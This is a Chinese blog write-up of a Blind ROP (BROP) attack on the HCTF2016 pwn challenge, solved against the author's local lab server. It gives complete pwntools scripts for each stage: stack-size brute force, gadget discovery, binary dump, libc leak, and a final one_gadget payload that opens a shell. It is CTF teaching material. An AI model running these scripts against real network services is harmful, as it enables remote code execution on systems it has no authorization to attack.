BROP

brop:一种不给你二进制文件的骚操作
攻击前提条件:

  1. 源程序必须存在栈溢出,让攻击者可以控制程序流
  2. 服务器端的进程在崩溃后会重新启动,并且重新启动的 进程地址和先前的地址一样

其中原理CTF-wiki上讲的很详细了brop我这里就不展开来讲了
这里我还参考了CTF-ALL-In-One-brop上的内容

攻击步骤:

  1. 暴力枚举,获取栈的长度,如果开启了Canary ,就把canary也爆破出来
  2. 寻找可以返回到程序main函数的gadget ,通常被称为stop_gadget
  3. 需找pop_rdi gadget
  4. 找到puts_plt的地址
  5. dump下二进制文件的一部分 0x400000 - 0x401000
  6. 通过泄露puts_got的内容,泄露出libc的内存信息,最后rop getshell

这里用拿HCTF2016出题人失踪了练了下手
题目:
出题人失踪了
在自己电脑上搭个环境,用socat工具,脚本我放github了

  1. 获取stacksize
from pwn import*
def getsize():
    i = 1
    while 1:
        try:
            p = remote('192.168.10.185',4444)
            p.recvuntil("WelCome my friend,Do you know password?\n")
            p.send(i*'a')
            data = p.recv()
            p.close()
            if not data.startswith('No password'):
                return i-1
            else:
                i+=1
        except EOFError:
            p.close()
            return i-1

size = getsize()
print "size is [%s]"%size
#stack size -->[72]
  1. 获取stop_gadget
from pwn import *
'''
find a gadget return main function
'''
def get_stop():
    addr = 0x400000
    f = open('1.txt','w')
    while 1:
        sleep(0.1)
        addr += 1
        try:
            print hex(addr)
            p = remote('192.168.10.185',4444)
            p.recvuntil("WelCome my friend,Do you know password?\n")
            payload = 'a'*72 + p64(addr)
            p.sendline(payload)
            data = p.recv()
            p.close()
            if data.startswith('WelCome'):
                print "main funciton-->[%s]"%hex(addr)
                pause()
                return addr
            else:
                print 'one success addr : 0x%x'%(addr)
        except EOFError as e:
            p.close()
            log.info("bad :0x%x"%addr)
        except:
            log.info("can't connect")
            addr -= 1

data = get_stop()
print hex(data)
#stop_gadget -->[0x4005c0] return to main function
  1. 获取brop_gadget
from pwn import *
def get_brop_gadget(length,stop_gadget,addr):
    try:
        p = remote('192.168.10.185',4444)
        p.recvuntil("WelCome my friend,Do you know password?\n")
        payload = 'a'*length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
        p.sendline(payload)
        content = p.recv()
        p.close()
        print content
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        p.close()
        return False

def check_brop_gadget(length,addr):
    try:
        p = remote('192.168.10.185',4444)
        p.recvuntil("password?\n")
        payload = 'a'*length + p64(addr) + 'a'*8*10
        p.sendline(payload)
        content = p.recv()
        p.close()
        return False
    except Exception:
        p.close()
        return True

length = 72
stop_gadget = 0x4005c0
addr = 0x400750
while 1:
    print hex(addr)
    if get_brop_gadget(length,stop_gadget, addr):
        print "possible stop_gadget :0x%x"%addr
        if check_brop_gadget(length,addr):
            print "success brop gadget:0x%x"%addr
            f.write("success brop gadget :0x%x"%addr + "\n")
            break
    addr += 1
#brop gadget -->[0x4007ba]
  1. 获取puts_plt的地址
from pwn import*

def get_puts(length,rdi_ret,stop_gaddet):
    addr = 0x400000
    while 1:
        print hex(addr)
        p = remote('192.168.10.185',4444)
        p.recvuntil('password?\n')
        payload = 'a'*length + p64(rdi_ret) + p64(0x400000)+p64(addr) + p64(stop_gadget)
        p.sendline(payload)
        try:
            content = p.recv()
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr : 0x%x'%addr
                return addr
            p.close()
            addr+=1
        except Exception:
            p.close()
            addr+=1

length = 72
rdi_ret = 0x4007ba + 0x9
stop_gadget = 0x4005c0
puts = get_puts(length,rdi_ret,stop_gadget)
#find puts_add --> [0x400565]
#puts_plt = 0x400560
  1. dump程序下来
from pwn import*
'''
dump the bin file
'''
def leak(length,rdi_ret,puts_plt,leak_addr,stop_gadget):
    p = remote('192.168.10.185',4444)
    payload = 'a'*length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
    p.recvuntil('password?\n')
    p.sendline(payload)
    try:
        data = p.recv(timeout = 0.1)
        p.close()
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data =="":
            data = '\x00'
        return data
    except Exception:
        p.close()
        return None   

length = 72
stop_gadget = 0x4006b6
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
puts_plt = 0x400560
addr = 0x400000
result = ''
while addr < 0x401000:
    print hex(addr)
    data = leak(length,rdi_ret,puts_plt,addr,stop_gadget)
    if data is None:
        addr += 1
        continue
    else:
        result += data
        addr += len(data)

with open('code1','wb') as f:
    f.write(result)

dump 下来后用radare2打开 使用参数-B 指定程序的基地址,然后反汇编puts@plt的位置0x400560

2018-05-13 18-55-07屏幕截图.png

可以发现puts_got的地址为0x601018

  1. 泄露puts_got地址,利用libc_base查询libc的版本,利用one_gadget 获取可以的gadget,最后getshell
1.png

这里记录一波查libc版本的姿势:

  • libc search来查询 输入函数名和泄露出来的地址最后三位
2.png
libc.png
  • 通过LibcSearch来查询 LibcSearch
    方法略 ......

找到libc版本后有两种选择

  1. 构造system("/bin/sh")调用
  2. 利用one_gadget 找到 execve("/bin/sh",..,environ)这个gadget 直接返回到这个gadget

one_gadget 的用法: one_gadget

3.png

exp:

from pwn import*
context.log_level = "debug"
p = remote('192.168.10.185',4444)

puts_plt = 0x400560
puts_got = 0x601018
brop_gadget = 0x4007ba
stop_gadget = 0x4005c0
rdi_ret = brop_gadget + 9
payload = 'a'*72 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
p.recvuntil("password?\n")
p.sendline(payload)
data = p.recv(6).ljust(8,'\x00')
p.recv()
puts_addr = u64(data)
print "puts address :0x%x"%puts_addr
libc_base = puts_addr - 0x000000000006f690

'''
system  = libc_base + 0x0000000000045390
binsh = libc_base + 0x18cd57
'''
gadget = 0x4526a
one_gadget = gadget + libc_base
#payload = 'a'*72 + p64(rdi_ret) + p64(binsh) + p64(system) + p64(stop_gadget)
payload = 'a'*72 + p64(one_gadget) + p64(stop_gadget)
p.sendline(payload)
p.interactive()

结果:


shell.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,558评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,002评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,036评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,024评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,144评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,255评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,295评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,068评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,478评论 1 305
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,789评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,965评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,649评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,267评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,982评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,800评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,847评论 2 351

推荐阅读更多精彩内容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,312评论 0 2
  • GOT表和PLT表: GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定...
    xiaobaozi阅读 9,192评论 0 13
  • 2017年11月8号,宝宝49天。看着她熟睡的样子,我的心都融化了。我不想让自己的产假生活在吃吃睡睡中度过,我想给...
    盈盈麻麻阅读 812评论 17 26
  • 在小贝书吧夫妇的举荐下我入住进了广州客栈。 老板是位年近六旬的夫妇,在广州有自己的家族事业,目前全部交...
    060宋丹阅读 113评论 0 1
  • 国王的王国里只有他一个人,他住在华丽的宫殿里,管理着一个很大的花园,花园里有各种各样的花还有各种小动物。因为南方湿...
    爱吃汉堡的猫阅读 968评论 2 8